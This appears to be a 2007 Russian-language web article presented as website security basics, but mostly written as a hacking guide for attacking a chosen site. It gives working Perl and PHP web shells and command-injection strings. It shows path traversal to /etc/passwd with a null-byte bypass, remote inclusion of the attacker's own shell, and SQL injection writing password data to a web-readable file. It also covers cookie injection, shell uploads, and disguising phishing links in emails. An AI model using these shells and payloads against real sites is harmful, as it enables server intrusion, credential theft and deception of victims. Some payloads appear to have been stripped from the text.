blin.ws

Приветствую Вас Гость | Регистрация | Вход

Интересное

Главная » Статьи » Защита и взлом

Основы безопасности веб-сайта
Обычно когда читаешь какие-то статьи, по поводу того, как взламывались какие-то сайты, или просто статьи типа "Взлом WEB-сайта", рассказывают что-то типа: нужно взять сканер уязвимых скриптов, просканировать сайт, там типа сразу найдутся один-два общедоступных скрипта, которые имеют какие-то дыры, и описывают, как ими воспользоваться. В принципе на 1 из 10 сайтов такое работает, может эта статистика и не правильная, может просто я такой не везучий... Такой способ хороший для людей, которые просто хотят задефейсить сайт, и им по барабану, что это будет за сайт. Они берут какой-то уязвимый скрипт, и начинают сканировать сеть в поисках уязвимого сайта, и найдя его сразу дефейсят. Хочу сразу сказать что я таких людей не люблю и не уважаю, как и людей которые делают масс-дефейсы, и если я сталкиваюсь с такими людьми... ладно, это тема другой статьи. В этой статье я попытаюсь рассказать, как можно найти ошибки на конкретном сайте. Если у тебя есть цель, взломать конкретный сайт, или ты хочешь узнать как взламывают твой сайт, то эта статья для тебя. Здесь я расскажу, какие ошибки допускают программисты, и как их можно найти, и как можно ими воспользоваться. Понятное дело что, прочитав эту статью, вы не сможете найти на любом сайте ошибки и взломать его, но шансы взломать какой-то конкретный сайт у вас увеличатся, я уверен, что все сайты уязвимы, просто эти уязвимости нужно найти, а для этого надо быть очень внимательным, и обращать внимание на всякие мелочи. Еще нужно сразу упомянуть, что сайты ломаются в основном с помощью разных скриптов, написанных на php, perl, C и т.д. сайты которые расположены на бесплатных серверах, типа narod.ru, взломать сложнее, так как на них нельзя ставить какие-то скрипты, и сайты расположенные на таких серверах написаны только на языке гипертекстовой разметки html и еще может с разными феничками на JavaScript, и так как JavaScript клиентский язык, и функций для работы с файлами не имеет, мы нечего изменить не сможем. Такие сайты ломаются в основном с помощью соц.инженерии, эту тему мы поверхностно затронем в конце статьи.

Shell

Свое повествование начну я с короткого описания, что такое шелл и как его можно сделать, на разных языках программирования. Сильно углубляться в объяснение, что это такое я не буду, скажем, так - это маленькая программка, которая позволяет выполнять команды на сервере, на котором эта программа запущена. Шеллы пишут на очень многих языках, мы остановимся на языках, с помощью которых пишут скрипты для сайтов, это PHP и Perl, так как 85% всех скриптов в инете написаны именно на этих языках. У нас будут два примера шеллов, на каждом языке по одному, и в зависимости, на чем написан сайт который вы будете ломать, будете брать шелл на том же языке.

Shell на Perl

#!/usr/bin/perl
print "Content-type: text/html\n\n";
$cmd=$ENV{QUERY_STRING};
$cmd=~s/%20/ /g;
print system($cmd);

Берем этот текст, копируем его в блокнот, кстати, строчка #!/usr/bin/perl должна быть самой первой в файле, и сохраняем с именем cmd.pl, используя разные дыры, которые будут описаны ниже, или использую дыры, которые вы сами найдете, заливаем этот файл на сервер, запускаем:

www.server.com/cgi-bin/cmd.pl?cmd=команда
например:
www.server.com/cgi-bin/cmd.pl?cmd=ls выдаст листинг директорий и файлов в текущей папке.

Shell на php

passthru("$cmd");

Коротенький :) Берем его и тоже сохраняем в блокноте с именем cmd.php, использование такое же, как и со скрипом на перле.

www.server.com/shell.php?cmd=команда

Все предельно просто, если вы не знаете, какие команды можно (нужно) выполнять, возьмите руководство по системе, на которой стоит сервак который вы ломаете, и почитайте какие команды можно выполнять. Если лень читать целое руководство, то написано не мало статей на тему какие команды можно и нужно выполнять во время взлома, не поленитесь и поищите в любом поисковике. Очень советую вам зарегистрировать сайт с поддержкой php и perl, и залить туда эти скрипты, поверьте мне, они вам там пригодятся, только обязательно спрячьте их в какую-то папку, так как кто-то чужой может воспользоваться ими :).

Теперь можем приступить к поиску уязвимостей. Как я уже говорил это процесс творческий и требующий очень большой внимательности. Есть люди, у которых нюх на такие вещи, они дыры замечают за километр, а есть люди... ну я думаю, понятен смысл. Сейчас я перечислю некоторые ошибки программистов, которые мы можем использовать в своих целях. Итак, самая большая ошибка, вокруг которой мы в основном будем крутится это при передачи каких-то данных нет проверки на передаваемые символы.

Передаваемые переменные

Предположим один скрипт передает какие-то переменные другому скрипту, например script.php передает переменные в index.html и они сохраняются в нем, можно проверить есть ли проверка на передаваемые символы. То есть:

script.php?data=

а потом проверить:

index.html?cmd=id;uname -a;

и если все прошло как по маслу, то вы должны увидеть выполнение команды id и uname -a.

Если нечего не получается, то может быть много причин, почему это не получается. Например, вы ошиблись, и переменная не куда не передается, или может, передается, но передаваемые символы фильтруются. Нужно искать дальше. Надо проверить все ссылки на сайте, передают ли они какие-то параметры, если передают, то, проверяют ли они их на передаваемые символы.

Вообще самое лучшее начало, это взять и закачать сайт целиком на компьютер, то есть сделать локальную копию. Для этого есть массу специальных программ, что-то типа OffLine Browser. Исходные коды они не закачивают, потому что это не возможно, так как скрипты обрабатываются на сервере, а клиенту передают только результат, то есть html код. Закачивается это для того чтобы посмотреть какие скрипты есть на сервере, и что куда они передают. Берем и составляем список всех скриптов и их переменных, которые закачали, поверьте, этот список вам пригодится.

Понятное дело, что мы не можем знать, что каждый скрипт делает, куда он что выводит и т.д., но мы можем знать, сколько есть скриптов на сервере и их имена, и мы можем с ними экспериментировать. Возьмем, например символ ";" точно с запятой, в Unix этот символ позволяет выполнять команды по очереди, например ls;uname -a, выполнит сначало команду ls, а потом uname с параметром -a. Возьмем какой-то скрипт, в нем, предположим, есть строка, которая выводит переменную на экран, а теперь возьмем и этой переменной передадим ;ls и теперь если скрипт уязвимый, то он выведет нам на экран содержимое текущего каталога. А теперь нам нужно найти такой скрипт, который что-то выводит на экран и не фильтрует выводимые на экран данные, по этому берем и подставляем к каждому скрипту и их переменным из списка - ;ls. И если на экране в каком-то уголку, или по центру появится список файлов, то вы счастливчик, это фактически у вас есть шелл с правами апача. Это довольно долгое и надоедливое занятие, но вам не кто не говорил, что ломать это легко, на настоящие серьезные взломы уходят недели, месяцы, а иногда и годы.

Формы

Формы... очень распространенная вещь, почти на каждом сайте они есть. А если эти формы еще и не проверяются на вводимые символы... Давайте рассмотрим несколько вариантов, что может быть и что можно сделать. Обычно в каждой гостевой книге есть такие поля как: Имя, Фамилия, Ник, почтовый ящик, поле для ввода сообщения и т.д. Введя все эти поля ты нажимаешь кнопку отправить и все эти данные передаются какому-то скрипту, который уже решает, что с ними делать. Например: этот скрипт берет и сохраняет полученные данные в какой-то файл, который потом загружается главной страницей, и выводит на экран введенное вами сообщение (что обычно так и бывает). А теперь предположим, программист данной гостивухи, забыл поставить проверку на вводимые символы на каком-то из полей (а может он вообще не на одном из полей не ставил проверку? =)) Проверить это не трудно, берем и в каждое поле по очереди вводим:



Если никакого окна не выскочило, значит, проверка есть. И проверка может быть разная, например, если в теле сообщения появилась целиком наш скрипт который мы вставили, значит, используется функция, которая заменяет все спецсимволы на их эквиваленты типа > < и т.д. Они на экране отображаются, но свои "спецфункции" =) не выполняют. Или может просто появится ваше сообщение примерно в таком виде: scriptalertpole 1alert, значит, просто все спецсимволы удаляются. Иногда еще бывает, что проверка проводится с помощью JavaScript сразу на стороне клиента, и если ты что-то не правильно ввел, выскакивает сообщение, в котором говорится, что ты ввел не допустимые символы или что-то в этом духе. Такую проверку можно обойти. Берем и сохраняем эту страничку на своем компьютере, открываем ее в блокноте, и удаляем с нее весь "лишний код", который и осуществляет эту проверку. Чтобы найти этот кусок кода, понятное дело нужно знать хоть немного JavaScript, ну или в принципе можете попробовать удалить все, что находится между тегами или что-то похожее на это. Обязательно проверьте, чтобы форма отправлялась нужному скрипту. Сохраняем документ, пишем наш "разрушающий код" и нажимаем отправить. И опять же, если вы везучий и в скрипте нету проверки с какого сервера приходят данные, то вставленный вами код выполнится на сервере.

На тему как организованы разные виды проверки, на нашем сайте есть статьи, как мои, так и других людей. Продолжим дальше тот вариант, когда проверка не выполняется. Так как наше сообщение заносится в файл, а с него вставляется в главную страницу, то получается наш скрипт вставляется в главную страницу, и когда во время загрузки страницы, доходит до той строчки, куда вставился скрипт, он его просто-напросто выполняет. В нашем случаи он в этом же окне открывает другой сайт. Теперь получается когда кто угодно заходит в гостевую книгу, автоматически попадает на указанный вами сайт. Но можно поступить другим способом, зачем ограничиваться только дефейсом гостевой книги? Смотрим на чем написана гостивуха, и в соотвецтвии с языком, на котором написано гостевая, берем шелл на таком же языке (как делать шеллы я рассказывал выше). И вставляем его в ту форму, где нет проверки на вводимые символы. И понятное дело, он также как и наш JavaScript помещается в главную страницу. Теперь получается у нас есть шелл с правами апача в файле главной странице. Что делать с шелом с правами апача я уже рассказывал, и вообще на эту тему написано очень много статей. Понятное дело не все гостевые книги заносят сообщения в файл, они могут их заносить также и в базы данных, типа MySQL, а оттуда вставлять их, но если нет проверки на вводимые символы, дыра также остается.


Ссылки

Ну что ж, мы уже рассмотрели несколько возможных уязвимостей, но мы не можем пропустить очень большую дыру, которую допускают многие web-программисты. Значит так, иногда бывает, что на сайте предположим 2 фрейма, (кто не знает что такой фрейм, советую почитать что-то про html) и скрипт в одном фрейме запускает другую страницу во втором фрейме. Например, в одном фрейме ссылки на другие страницы сайта и когда щелкаешь на ссылку страница загружается во второй фрейм. При этом ссылка принимает примерно такой вид:

main.php?about/petrovich.php

Могут быть и другие варианты, что просто титульная страница открывает сама другие страницы, ссылка принимает тот же вид. Это на самом деле очень большая дыра. Смотрите, что мы можем попробовать сделать:

main.php?/etc/passwd
или
main.php?../../../../../../etc/passwd (подняться нужно в корень)

и если все хорошо, то вы должны увидеть файл паролей, конечно врятли вы что-то в нем найдете полезного, это все сказки что там хранится баснословное количество паролей, обычно там только логины, а вместо паролей стоят "*" или что-то наподобие. Конечно, если вы просто ЖУТКО везучий, то вы там увидите хеши паролей, и их надо расшифровывать. Можете попытаться поискать еще какие-нибудь файлы с паролями, но в слепую врятли, что у вас получится. Самое правильное, что вы можете сделать в этом случаи это попробовать указать ссылку на свой скрипт с шелом. (как делать веб-шелы я рассказывал выше).

main.php?http://you_syte/cmd.php

Если все ОК, то у вас теперь есть httpd shell, и вы можете выполнять любые команды на сервере (если конечно хватит прав, мы не в сказке, и часто оказывается что прав не хватает). Ну а тут я думаю понятно, что нужно делать, и рассказывать не надо. Может быть еще такой вариант, что когда вы указываете ссылку на другой сайт, скрипт выдает ошибку что-то типа такого:

File "/home/part1/02/host/www/http://you_syte" not found

значит скрипт все-таки ищет файлы на своем сервере в папке www, и получается, мы можем просматривать любой файл на сервере (конечно, если хватит прав), и не можем указывать файлы с другого сервера, это не очень хорошо, но что-то сделать можно. Например, как я уже говорил попробовать поискать пароли, а второй вариант, попробовать посмотреть исходные кода других скриптов. Для людей, которые не понимают в программировании, это нечего не даст, а кто хоть немного понимает, тому даст и очень много. Потому что в общедоступных скриптах, основная масса самых больших ошибок уже пофиксина, а вот доморощенные скрипты, странички сделанные на каком-то языке, в них может, содержатся очень большие и сразу бросающиеся в глаза ошибки, которые можно использовать в своих целях.

Третий вариант, попытаться выполнять команды, делать запросы такого вида:

main.php?../../../../bin/ls%20-al%20/etc|

в конце палочка (pipe), в Unix она служит для выполнения одновременно нескольких команд в одном запросе. Эта команда выведет на экран содержимое каталога etc.

Еще один момент, когда скрипт открывает какой-то файл

main.php?many.htm

то он может фильтровать открываемые расширения, например, разрешает открывать только файлы с расширением htm, html, тут нам на помощь приходит %00, делаем запрос вида:

main.php?../../../../etc/passwd%00.htm

при таком запросе, скрипт считает, что имя файла относится к разрешенным, и покажет нам файл passwd.

Ошибки в форме авторизации

Очень часто на разных сайтах есть закрытые странички, в которые чтобы попасть нужно, ввести логин и пароль, это может быть панель администратирования сайта, новостей, гостевой книги и т.д. Ошибка довольно примитивная, но несколько раз я видел такие сайты, где была допущена такая ошибка. Она заключается в том, что стандартные алгоритмы шифрования в Unix, также как и функция password() в MySQL, при попытки шифрования пустого пароля возвращает пустое значение. Сначала рассмотрим один из принципов авторизации. При вводе логина и пароля, данные, которые вы ввели, присваиваются соотвецтвующим переменным, берется переменная логина и посылается запрос в базу данных: "Дайте, пожалуйста, пароль, который соотвецтвует этому логину", полученный пароль заносится в отдельную переменную. Потом берется пароль, который вы ввели и сравнивается с паролем, полученным из базы данных, и если он совпадает, то тебя пропускают, если нет... шлют куда подальше. А теперь рассмотрим такой вариант: вводим в поле логин, заведомо несуществующий логин, а в поле пароля вообще нечего не вводим. Скрипт берет логин и посылает его в базу данных с тем же вопросом, так как такого пользователя в базе нету, то она возвращает пустой пароль. И как я говорил выше при попытки шифрования пустого пароля возвращает пустое значение, и теперь получается, что пароль, который вы ввели совпадает с паролем который полученный из базы данных, и вы попадаете в секретную зону :). Такое уже попадается не часто, но все же проверить не помешает, так как не опытный программист такую ошибку может легко допустить.


sql-injection

Есть еще один очень интересный момент с формами авторизации - sql-injection. Это отдельная большая тема, и есть очень много хороших, информативных статей посвященных этому вопросу. Чтобы лучше понять то, что напишу я, и чтобы вообще разобраться с этой темой, вы должны быть хоть приблизительно знакомы с базой данных sql, и должны прочитать несколько статей посвященных вопросу sql-injection. Мы рассмотрим лишь маленький кусочек этой темы. Итак... форма авторизации, работающая с базой данных. Руки у нас практически связаны, так как мы не имеем доступа ни к логам базы данных, ни можем просматривать файлы, придется пробовать методом научного тыка. Во-первых, нужно узнать какие переменные передаются в базу данных. Для этого сохраняем страничку с вводом логина и пароля к себе на компьютер, открываем ее в блокноте, ищем там начало формы, то есть
http://server.ru/login.cgi?pas=123&log=admin

Теперь переходим к самому процессу экспериментов. Если в этой форме не фильтруется такой символ как " ' ", мы можем попробовать поставить еще одну команду. Так как в поле ввода логина скорей всего стоит ограничение на количество вводимых символов, то придется передавать параметры через адресную строку. Для этого мы и узнавали, как он передает, теперь берем и там где написано admin ставим ` и пишем что-то на подобии

INTO OUTFILE '../../../../home/s/server/www/pwd.txt

строка браузера должна принять примерно такой вид:

http://server.ru/login.cgi?pas=123&log=admin' INTO OUTFILE '../../../../home/s/server/www/pwd.txt

Теперь попытаюсь объяснить, что мы сделали. Итак, после ` мы вставили команду, которая результаты полученные из базы данных сохранит в корневой папке сервера в файл pwd.txt, почему именно в файл?, потому что скорей всего вывода на экран полученных данных нету, и мы сохраняем полученные данные в файл. Если не указать путь, где создавать файл, то он его создаст в корневом каталоге базы данных, и через веб туда доступа нету, по этому его надо создавать в каталоге сайта. Скорей всего у вас появится еще один вопрос, как узнать в каком каталоге находится атакуемый сайт. Узнать это можно, вызвав какую-то ошибку, например, запросить не существующий файл, ответ будет примерно такой:

/home/s/server/www/adfad.txt - not found

нет 100% гарантии того, что это сработает, так как админ сайта мог поставить функции по обработки ошибок, так чтобы если, предположим запрашуют не существующую страницу показывал какой-то определенный файл, сообщающий что данной страницы нет. Короче нужно вызвать ошибку, а как это сделать, думайте сами, русский народ умеет вызывать ошибки в работе даже в самых простых приложениях. Конечно, не факт что вы сможете создать файл в каталоге сервера (или вообще где угодно), так как может не хватить прав, как вы уже я думаю, поняли, права доступа очень важная вещь, и если на сервере разумно распределены все права доступа, то что-то с этим сервером сделать будет достаточно сложно. Итак, что же мы получим, если символ ` не фильтрируется, и нам хватило прав создать файл на сервера, а получим мы пароль администратора. Конечно, тоже не факт что пользователь с именем admin существует.


cookies-injection

Иногда еще попадается такой вариант, например, в форумах или еще каких-то приложениях работающих с базой данных, при регистрации логин и пароль заносятся в cookies, потом в некоторых моментах, не важно каких, берется логин из cookies и посылается запрос в базу данных, чтобы выбрать из базы данных пароль для этого логина, а потом сверить пароль, хранящийся в кукисах с паролем полученным из базы данных. Вот интересно, что проверка на передаваемые символы через формы, в наше время проводится достаточно часто (хотя не всегда), а вот проверка получаемых данных с кукиесов проверяется достаточно редко. Я думаю, вы понимаете, что я хочу сказать. Кто мешает нам открыть cookies хранящийся на нашем компьютере, и подкорректировать немножко данные, хранящиеся там, например, в конце логина поставить наш заветный символ обратного апострофа " ` ", и после него вписать интересующую нас команду. Кто не знает толком, что туда можно вписать, почитайте документация по sql и по sql-injection. И если все хорошо, мы изменим, запрос к базе данных и то, что мы вписали должно выполнится, напомню, что скорей всего данные, полученные из базы данных не выводятся на экран, и лучше всего перенаправить выводимые данные в файл в каталог доступный через web.

Способ вставки с cookies можно использовать не только для sql-injection, а еще для многих вещей, например выполнение кода на JavaScript, если предположим, вы заходите на страничку, а вам там сразу "Welcome computers_GAD!!!", (computers_GAD - ваш ник), то скорей всего этот ник, берется с кукиесов сохраненных ранее при регистрации, то кто мешает нам зайти в папку с кукиесами, найти кукиес сохраненный этим конкретным сайтом, и ник содержащийся там изменить на интересующий нас код. И теперь после того как вы изменили ник, зайдя опять же на эту страницу вам скажут Welcome и выполнят ваш код.


Upload

Идем дальше. Иногда на сайтах встречается скрипт, с помощью которого вы можете закачать на сервер какие-то файлы. Я думаю, вы догадались, что я хочу сказать. Можно попробовать закачать туда наш шелл, (на том языке, с помощью которого написан сайт). И тут дальше идет много if-ов (кто шарит в программировании меня понял), то есть идет много разных условий. Очень часто, когда хочешь что-то закачать, скрипт спрашивает у тебя пароль, это не есть гуд, так как пароля мы не знаем. Если вам повезло, и пароля нету, то еще папка, в которой сохраняются файлы, должна находится в каталоге cgi-bin (или в каком-то другом) где разрешается выполнять скрипты, и на папке, в которую закачиваются файлы должны стоять права на выполнение, иначе понятное дело вы не сможете выполнить закаченный файл. И если все же вы жутко везучий, закачав скрипт, вы получаете шелл на сервере, дальше понятно, что нужно делать.


Кодирование URL

В том случаи, когда ты посылаешь человеку письмо от лица какой-то администрации с просьбой куда-то зайти и что-то сделать, нужно чтобы жертва не заподозрила подвоха в URL-адресе, по которому ты просишь ее зайти. По этому этот адрес нужно закодировать, я сейчас попытаюсь объяснить как это можно сделать, но вы должны понимать что в основном все эти способы предназначены для людей которые не очень внимательны, потому что внимательный и подозрительный человек всегда может заметить подвох. Итак, когда вы посылаете письмо в html формате, адрес можно вставить таким образом:

www.rambler.ru

И если при получении письма у жертвы сразу стоит функция обработки html страниц, то человек на экране увидет только www.rambler.ru, и щелкнув на этой ссылке перейдет на сайт www.screw.h12.ru, понятное дело что если человек посмотрит в исходный код, то увидет что ссылка не туда, в этом случаи можно заменить сиволы на HEX, то есть получится что-то в этом духе:

www.rambler.ru

Это обычные ASCII коды в 16-ричной системе, и перед каждым символом знак процента "%", маленькую таблицу ASCII кодов я приведу нижу. Этот вариант тоже не идеальный, так как например в IE при навидении мыши на ссылку, в строке состояния отобразится истиный адрес, или если долго подержать указатель мыши над ссылкой то выплывет подсказка содержая истиный адрес этой ссылки, и конечно, когда человек перейдет по этой ссылке, то в адресной строке браузера покажет настоящий адрес.


ASCII-коды

0 - %30 A - %41 a - %61
1 - %31 B - %42 b - %62
2 - %32 C - %43 c - %63
3 - %33 D - %44 d - %64
4 - %34 E - %45 e - %65
5 - %35 F - %46 f - %66
6 - %36 G - %47 g - %67
7 - %37 H - %48 h - %68
8 - %38 I - %49 i - %69
9 - %39 J - %4A j - %6A
: - %3A K - %4B k - %6B
= - %3D L - %4C l - %6C
? - %3F M - %4D m - %6D
@ - %40 N - %4E n - %6E
- - %5C O - %4F o - %6F
_ - %5F P - %50 p - %70
- - %7E Q - %51 q - %71
space - %20 R - %52 r - %72
! - %21 S - %53 s - %73
# - %23 T - %54 t - %74
$ - %24 U - %55 u - %75
% - %25 V - %56 v - %76
& - %26 W - %57 w - %77
. - %2E X - %58 x - %78
/ - %2F Y - %59 y - %79
Z - %5A z - %7A


Заключение

Итак, подводим итоги. В этой статье я не ставил себе цели описать все возможные способы взлома, так как это не возможно. Как уже говорилось не раз - взлом, это творческий процесс, как нельзя научить создавать шедевры картин, шедевры литературной классики, так и нельзя научить делать настоящие взломы, можно рассказать принцип, правила, можно натолкнуть на мыслю, но нельзя научить создавать шедевры. Гуру компьютерной безопасности\взлома могут сказать, что в этой статье много не точностей и ошибок, я могу с этим согласится, но как уже говорилось выше, я пытался только показать в какую сторону нужно идти, просто пытался натолкнуть на мысль что нужно делать, и куда нужно копать. И еще хочу сказать, перед тем как вы пойдете, что-то ломать, подумайте, нужно ли оно вам? нужно ли вам портить чей-то труд? может лучше создать что-то, чтобы было это полезно и тебе и людям? Кстати, эта статья в основном написана для людей, которые держат сайты, для админов у которых на серверах стоят сайты, так как есть правило, чтобы научится защищаться, нужно знать, как атакуют. Зная как атакуют, человек, понимающий в программировании сможет найти ошибку, и найти способ ее обезвредить.



Категория: Защита и взлом | (23 Ноября 2007)
Просмотров: 533
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
| | | Карта сайта